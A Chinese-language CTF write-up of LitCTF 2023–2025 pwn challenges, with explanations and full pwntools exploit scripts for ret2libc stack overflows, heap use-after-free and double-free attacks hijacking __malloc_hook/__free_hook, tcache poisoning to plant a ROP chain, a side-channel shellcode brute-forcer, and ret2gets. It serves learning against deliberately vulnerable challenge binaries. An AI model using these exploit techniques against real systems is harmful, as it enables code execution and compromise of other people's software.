LitCTF(2023 - 2025)-PWN方向做题笔记

前言:突然发现自己做过好多LitCTF的题,简单整理一下WP吧。

[LitCTF 2023]只需要nc一下~

解题思路

nc连接,获得shell,cat Dockerfile会发现flag被写进了环境变量$FLAG中,,echo $FLAG即可

[LitCTF 2023]口算题卡

解题思路

eval函数

eval() 是 Python 中的一个内置函数,用于执行一个字符串表达式,并返回表达式的值。

pwntools 中的 recvuntil

在 pwntools 库中,recvuntil 用于从 目标 接收数据,直到遇到指定的分隔符。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

io = remote("node4.anna.nssctf.cn", 28411)

for _ in range(100):
io.recvuntil(b"What is ")
io.sendline(
str(
eval(
io.recvuntil(b"?")
.replace(b"?",b"")
.decode()
)
).encode()
)
io.interactive()

[LitCTF 2023]狠狠的溢出涅~

解题思路

\x00来绕过strlen对于字符串的判断,然后就是常规的ret2libc

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(os="linux", arch="amd64", log_level="debug")

io = remote("node4.anna.nssctf.cn",28983)

pwn4 = ELF("./pwn")
libc = ELF("./libc-2.31.so")

puts_plt = pwn4.plt['puts']
puts_got = pwn4.got['puts']
pop_rdi = 0x4007d3
read_addr = 0x4006B0

payload = b'\x00' * 104 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)

io.sendlineafter("message:\n",payload)

puts_addr = u64(io.recvuntil(b'\x7F')[-6:].ljust(8,b'\x00'))
print("puts_addr:",hex(puts_addr))

libc_base = puts_addr - libc.sym["puts"]
print("libc_base:",hex(libc_base))

system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
print("system_addr:",hex(system_addr))
print("binsh_addr:",hex(binsh_addr))

ret_addr = 0x400556
payload = b'\x00' * 104 + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

io.sendlineafter("message:\n",payload)

io.interactive()

[LitCTF 2023]ezlogin

这道题把我调试麻,以后再找机会复现吧

[LitCTF 2024]ATM

解题思路

利用选项三,输入200,再次查看Your balance is就可栈溢出;

利用选项五的gift泄露出printf地址,利用printf地址泄露出libc、然后构造system和binsh,最后布置栈覆盖返回地址 ,然后选项五退出循环,控制程序执行流getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./app")
io = remote("node4.anna.nssctf.cn", 28228)
libc = ELF("./libc6_2.35-0ubuntu3.2_amd64.so")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=False :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

pop_rdi = 0x401233
sla(b"password:", b"000")
sla(b"4.Exit", b"3")
sla(b"deposit:", b"200")
sla(b"4.Exit", b"5")
ru(b"0x")
libc_base = int(r(12), 16) - libc.sym['printf']
ls(hex(libc_base))
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
payload = b"a"*(0x168) + p64(pop_rdi + 1) + p64(pop_rdi) + p64(bin_sh) + p64(system)
s(payload)
sa(b"4.Exit", b"4")
ia()

[LitCTF 2024]heap-2.23

解题思路

delete()中内存块被释放后,其对应的指针没有被设置为 NULL,存在UAF漏洞,且题目为libc-2.23.so,修改 malloc__hook 为 one_gadget

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./heap")
io = remote("node4.anna.nssctf.cn", 28504)
elf = ELF("./heap")
libc = ELF("./libc.so.6")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=False :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
def add(index, size):
sla(b">>", b"1")
sla(b"idx? ", str(index).encode())
sla(b"size?", str(size).encode())
def free(index):
sla(b">>", b"2")
sla(b"idx?", str(index).encode())
def show(index):
sla(b">>", b"3")
sla(b"idx?", str(index).encode())
def edit(index, content):
sla(b">>", b"4")
sla(b"idx?", str(index).encode())
sla(b"content :", content)
add(0, 0x80) ## 释放的chunk大于0x80,大于 fastbin,第一次 free 的时候,都会先进入 unsorted bin
add(1, 0x10) ## 让 idx 0 这块chunk在 free 时不与 top chunk 合并**,从而必然被挂到 unsorted bin
free(0) ## 进入 unsorted bin ,chunk的Fd和Bk都会指向 (main_arena + 0x58)
show(0) ## show()没有检查chunk的 inuse 状态,由于堆中的空间复用机制,会将 Fd 和 Bk 当作 use_data 打印出来
libc_base = u64(ru(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x3c4b78 ## libc 偏移:main_arena+0x58 在 2.23 常见为 0x3c4b78
ls(hex(libc_base))

one_gadget = [0x4527a, 0xf03a4, 0xf1247]
ogg = libc_base + one_gadget[2]
malloc_hook = libc_base + libc.sym['__malloc_hook']
add(2, 0x60)
add(3, 0x60)
free(2)
free(3) ## 2.23 对 fastbin 的 double free 只阻止“连续两次释放同一指针”,所以用 free(A); free(B); free(A) 绕过
free(2) ## free(A); free(B); free(A) → fastbin 单链表变成:A -> B -> A(形成环头)
edit(2, p64(malloc_hook - 0x23)) ## UAF:把 A 的 FD 指成 (__malloc_hook - 0x23)
add(4, 0x60) ## -> A
add(5, 0x60) ## -> fake @ (__malloc_hook - 0x23)
edit(5, b"a"*(0x13) + p64(ogg)) ## 'a'*0x13 + p64(ogg) 就是把第 0x13 个字节处正好覆盖到 __malloc_hook
add(6, 18)
ia()

这是我做的第一道堆题,之前写的WP里还留有着开始学习时的疑问

  1. 泄露libc时,为什么要freed chunk 进 unsorted bin,其指针fd/bk 指向 main_arena,free chunk进入其他bins不行吗?比如fastbin,largebin
  • free 到 fastbin
    fastbin chunk 的 fd 并不是 libc 的地址,而只是链表里下一个 chunk 的指针(属于 heap 空间)。所以从 fastbin 无法直接泄露 libc。
  • free 到 smallbin / largebin
    这些 bin 的 fd/bk 会被设置为同 size bin 里的其它 chunk,只有在第一次进入 unsorted bin → 被切分/转移到 small/large bin 时,才会顺带写入 arena 指针
    单独 smallbin/largebin 的链表指针里不直接有 main_arena,而是别的 chunk 地址(仍然在 heap),也没法稳定算 libc 基址。
  • free 到 unsorted bin
    unsorted bin 是 free 后“第一落点”,glibc 会把 freed chunk 的 fdbk 填成 main_arena 的地址(main_arena+88main_arena+0x10 之类的)。这就给了我们一个稳定的 libc 内部指针
    所以 PWN 常用套路是:
    • 先 free 一个 non-fastbin 大小的 chunk(如 0x80 → 实际 size=0x90)。
    • 它必定进 unsorted bin,fd/bk 指针必定指向 main_arena
    • 读出来一算偏移,就得到 libc 基址。

👉 总结:
只有 unsorted bin 能“直接泄露 libc”,fastbin/smallbin/largebin 单独都不行。
这就是为什么几乎所有 2.23 的泄露 libc 脚本里都会先 free 一个 ~0x80/0x100 大小的块。

  1. 为什么要其 FD 改为 __malloc_hook - 0x23,后面为什么要’A’*0x13 + p64(one_gadget),才能刚好把 __malloc_hook 覆盖为 one_gadget,为什么这样可以让让用户数据区中第一个 8 字节 正好对齐落在 __malloc_hook 上?

这涉及到 堆 chunk 结构malloc_hook 前面的对齐情况

(1) chunk 内存布局回顾

以 size=0x70(请求 0x60) 的 fastbin 为例:

1
2
3
4
5
chunk header (16B)
[ prev_size ] (仅当 inuse=0时有效)
[ size ]
user data
...

所以你拿到的 ptr = malloc(0x60) 实际上返回的是 数据区起始,而不是 header。

(2) 我们伪造 chunk → malloc_hook-0x23

为什么 -0x23

  • malloc 在从 fastbin 拿出 chunk 时,只要保证对齐和 size 符合,它就会把 FD 当成“下一个 chunk 地址”。
  • 我们希望 malloc 返回的用户指针 正好对齐到一个能覆盖 __malloc_hook 的地方
  • 而在 glibc-2.23 中,__malloc_hook 附近布局是:
1
2
3
... 一些内部变量 ...
__realloc_hook
__malloc_hook ← 我们想覆盖的目标
  • 如果直接把 FD 改成 __malloc_hook,那么返回的 ptr 会从 __malloc_hook+0x10 开始(因为还要加上 header 大小对齐)。就对不准。
  • 所以要减去一个合适的偏移(0x23)让 malloc 返回的 用户数据起点,经过计算后落在 __malloc_hook 的前面。这样我们在用户数据里写第 0x13 个字节,就刚好覆盖到 __malloc_hook

(3) 为什么是 'A'*0x13 + p64(one_gadget)

  • malloc 返回的“fake chunk”的数据区其实是从 __malloc_hook-0x23 + 0x10 = __malloc_hook-0x13 开始的。
  • 换句话说,用户数据的起始位置比 __malloc_hook 早 0x13 字节
1
2
3
fake_chunk->user_data:
[0x00 ... 0x12] 19字节 padding
[0x13 ... 0x1A] <-- 这里正好是 __malloc_hook
  • 所以你必须先填充 'A'*0x13 把位置“走过去”,接下来写的 8 字节才正好覆盖 __malloc_hook

(4) 整个效果

  • edit(5, b"A"*0x13 + p64(one_gadget))
    → 前面 0x13 个字节无所谓
    → 紧接着的 8 字节,准确落在 __malloc_hook 上,改成 one_gadget 地址。
  • 再次 malloc → 触发 __malloc_hook → 跳进 one_gadget → shell。

👉 总结一句:
-0x23 是为了让 malloc 返回的 fake chunk user_data __malloc_hook 早 0x13
'A'*0x13 + p64(one_gadget) 就是把第 0x13 个字节处正好覆盖到 __malloc_hook

[LitCTF 2024]heap-2.27

解题思路

先增加一个大于tcache机制收纳范围(0x20 <= size < 0x410)的chunk0,然后释放它进入unsortedbin,就能拿到 libc_base(偏移量是自己调出来的);

再double_free 来拿__malloc_hook,打one_gadget

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = process("./heap")
#io = remote("node4.anna.nssctf.cn", 28150)
libc = ELF("./lib/x86_64-linux-gnu/libc.so.6")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=False :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
def add(idx, size):
sla(b">>", b"1")
sla(b"idx?", str(idx))
sla(b"size?", str(size))
def free(idx):
sla(b">>", b"2")
sla(b"idx?", str(idx))
def show(idx):
sla(b">>", b"3")
sla(b"idx?", str(idx))
def edit(idx, content):
sla(b">>", b"4")
sla(b"idx?", str(idx))
sla(b"content", content)
add(0, 0x410)
add(1, 0x10)
free(0)
show(0)
ru(b"content : ")
libc_base = u64(r(6).ljust(8, b"\x00")) - 0x3ebca0
ls(hex(libc_base))
one_gadget = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]
ogg = libc_base + one_gadget[3]
malloc_hook = libc_base + libc.sym['__malloc_hook']
add(2, 0x60)
free(2)
edit(2, p64(malloc_hook - 0x23))
add(3, 0x60)
add(4, 0x60)
edit(4, b"a"*(0x13) + p64(ogg)*3)
add(5, 0x60)
ia()

[LitCTF 2024]heap-2.31

解题思路

libc-2.31-0ubuntu9.15_amd64,tcache结构体加入了新的字段 key,会检测double_free。增删改查四大功能齐全,存在UAF。

先增加一个大于tcache机制收纳范围(0x20 <= size < 0x410)的chunk0,然后释放它进入unsortedbin,就能拿到 libc_base(偏移量是自己调出来的);

再double_free (要注意清空fd bk,有key不能double free)来拿__free_hook,篡改为system,然后释放一个 content = /bin/sh\x00的chunk

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./heap")
io = remote("node4.anna.nssctf.cn", 28373)
libc = ELF("./2.31-0ubuntu9.18_amd64/libc.so.6")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
def add(index, size):
sla(b">>", b"1")
sla(b"idx?", str(index))
sla(b"size?", str(size))
def free(index):
sla(b">>", b"2")
sla(b"idx?", str(index))
def show(index):
sla(b">>", b"3")
sla(b"idx?", str(index))
def edit(index, content):
sla(b">>", b"4")
sla(b"idx?", str(index))
sla(b"content :", content)
add(0, 0x500)
add(1, 0x10)
free(0)
show(0)
ru(b"content :")
libc_base = u64(ru(b'\x0a')[-6:].ljust(8, b"\x00")) - 0x1ecbe0
ls(hex(libc_base))

system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
bin_sh = libc_base + next(libc.search("/bin/sh\x00"))
add(2, 0x60)
add(3, 0x60)
free(2)
edit(2, p64(0)*2) ## 清空fd bk,有key不能double free
free(3)
free(2)
edit(2, p64(free_hook))
add(4, 0x60)
add(5, 0x60)
edit(4, b"/bin/sh\x00")
edit(5, p64(system))
free(4)
ia()

[LitCTF 2024]heap-2.35

解题思路

释放大于tcache的堆块,然后show,从而泄漏libc;通过__environ泄漏栈地址,__environ在libc上,并且存储着栈地址,可以利用这个栈地址来找到edit返回值的地址;

释放一个tcache,查看tcache_key,以便后续进行tcache_poisoning;

泄漏canary;(注意不要用 edit() 附近的canary,会报错;show前,注意覆盖Canary最低一字节\x00为其他字节)

申请一个堆块到edit返回地址附近;向栈上写入rop;

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = process("./heap")
#io = remote("node4.anna.nssctf.cn", 28504)
libc = ELF("./libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=False :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
def add(idx, size):
sla(b">>", b"1")
sla(b"idx?", str(idx))
sla(b"size?", str(size))
def free(idx):
sla(b">>", b"2")
sla(b"idx?", str(idx))
def show(idx):
sla(b">>", b"3")
sla(b"idx?", str(idx))
def edit(idx, content):
sla(b">>", b"4")
sla(b"idx?", str(idx))
sa(b"content :", content)

one_gadget = [0xebc81, 0xebc85, 0xebd38]
add(0, 0x410)
add(1, 0x100)
free(0)
show(0)
ru(b"content : ")
libc_base = u64(r(6).ljust(8, b"\x00")) - 0x21ace0
ls(hex(libc_base))
add(2, 0x100)
free(1)
show(1)
ru(b"content : ")
heap_base = u64(r(5).ljust(8, b'\x00')) << 12
ls(hex(heap_base))
environ = libc_base + libc.sym['_environ']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + next(libc.search(asm("pop rdi; ret;")))
stack_ptr = (heap_base >> 12) ^ environ
ogg = libc_base + one_gadget[0]
free(2)
edit(2, p64(stack_ptr))
add(3, 0x100)
add(4, 0x100)
show(4)
ru(b"content : ")
stack = u64(r(6).ljust(8, b'\x00'))
ls(hex(stack))
canary = stack - 0x90 ##0x130 -> 这是edit()中canary的位置,使用它后续会报错,原因简单讲就是同一个片内存空间被分配了两次
g = canary - 0x18 ##地址减 0x18 是为了堆对齐 0x10
g = g ^ (heap_base >> 12)
add(5, 0x30)
add(6, 0x30)
free(5)
free(6)
edit(6, p64(g))
add(7, 0x30)
add(8, 0x30)
edit(8, b"bbbbbbbb"*3+b"a") ##覆盖 canary 的最低一个空字节
show(8)
ru(b"bba")
canary = u64(r(7).rjust(8, b"\x00"))
ls(hex(canary))

add(9, 0x40)
add(10, 0x40)
free(9)
free(10)
return_addr = stack - 0x140
t = return_addr - 0x18
t = t ^ (heap_base >> 12)
edit(10, p64(t))
add(11, 0x40)
add(12, 0x40)
rop = p64(0) + p64(canary) + p64(0) + p64(pop_rdi + 1) + p64(pop_rdi) + p64(bin_sh) + p64(system)
edit(12, rop)
ia()

[LitCTF 2024]heap-2.39

解题思路

虽然glibc版本很高,但可以打house of apple2,这是笔者第一次打,多调才勉强理解house of apple2,没有自己写脚本,用的其他师傅博客里的EXP来调试的

这里就放一些自己学习这道题的house of apple2打法过程中有幸看到的师傅们的博客吧:

1
2
3
https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/#%E5%88%A9%E7%94%A8%E6%80%9D%E8%B7%AF
https://c-lby.top/2024/2024-litctf-wp/#%E9%A2%98%E7%9B%AE%E5%8C%BA%E5%88%AB
https://c-lby.top/2024/house-of-apple2/

[LitCTF 2025]shellcode

解题思路

题目开启了沙箱,只允许系统调用open、read,其他的都不行;题目会直接执行我们的输入,可以选择打侧信道爆破

这是笔者第一次做侧信道的题目,把自己学习关于侧信道时看过的文章放这里吧:(需者自取)

1
2
3
4
https://blog.csdn.net/2502_91269216/article/details/148238029
https://www.cnblogs.com/LynneHuan/p/15674233.html
https://www.cnblogs.com/ZIKH26/articles/16546513.html
https://xz.aliyun.com/news/12646

EXP

网上找的爆破脚本,稍微改了改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context(arch='amd64',os='linux')
io=0
def find(i, c):
global io
#io=remote("node6.anna.nssctf.cn", 28033)
io=process('./pwn')
io.recvuntil(b'Please input your shellcode: \n')
sc=asm("""
mov rax, 0
movabs rax, 0x67616C66
push 0
push rax
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rsi, rdi
mov rdi, rax
xor rax, rax
mov rdx, 0x100
syscall
mov al, [rsp+{}]
cmp al, {}
jbe $
""".format(i, c))
io.send(sc)

try:
io.recv(timeout=3)
io.close()
return True
except EOFError:
io.close()
return False

flag = ''
i=0
while True:
l = 0x20
r = 0x80
while l <= r:
m = (l + r) // 2
if find(i, m):
r = m - 1
else:
l = m + 1

if l==0:
break
print(l)
flag += chr(l)
info("win!!!!!!!!!!!!!!!!!!!!!!!!! ")
info(flag)
i += 1
if l == 0x7D:
break

info("flag: "+flag)

[LitCTF 2025]master_of_rop

解题思路

打re2gets可以代替pop_rdi_ret,注意是glibc版本是 Ubuntu GLIBC 2.39-0ubuntu8.4,接着就是打ret2libc,但是这道题,我用gdb算出来的libc偏移总是不对,看了其他师傅的WP,用WP里算出的偏移+ 0x28c0,远端可以打通,但是本地却不行(patchelf了的)【这种情况真的很让人秃头了】

笔者学习ret2gets的时候有幸找到了几篇写得很好的文章,这里分享给大家:

ret2gets 一种控制rdi的攻击方法-CSDN博客

sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = process("./pwn")
#io = remote("node6.anna.nssctf.cn", 20720)
libc = ELF("./libc.so.6")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

elf = ELF("./pwn")
gets_plt = elf.plt['gets']
puts_plt = elf.plt['puts']
main = 0x4011B1
ret = 0x40101a
payload = b"\x00"*(0x28) + p64(gets_plt) + p64(gets_plt) + p64(puts_plt) + p64(main)
sla(b"Welcome to LitCTF2025!", payload)
debug()
sl(p32(0) + b'a'*12)
sl(b'aaaa')
rl()
r(8)
libc_base = u64(r(6).ljust(8, b'\x00')) + 0x28c0
ls(hex(libc_base))
system = libc_base + libc.sym['system']
bin_sh = libc_base + 0x1cb42f
pop_rdi = libc_base + 0x10f75b

payload = b'\x00'*(0x28) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
sla(b"Welcome to LitCTF2025!", payload)
ia()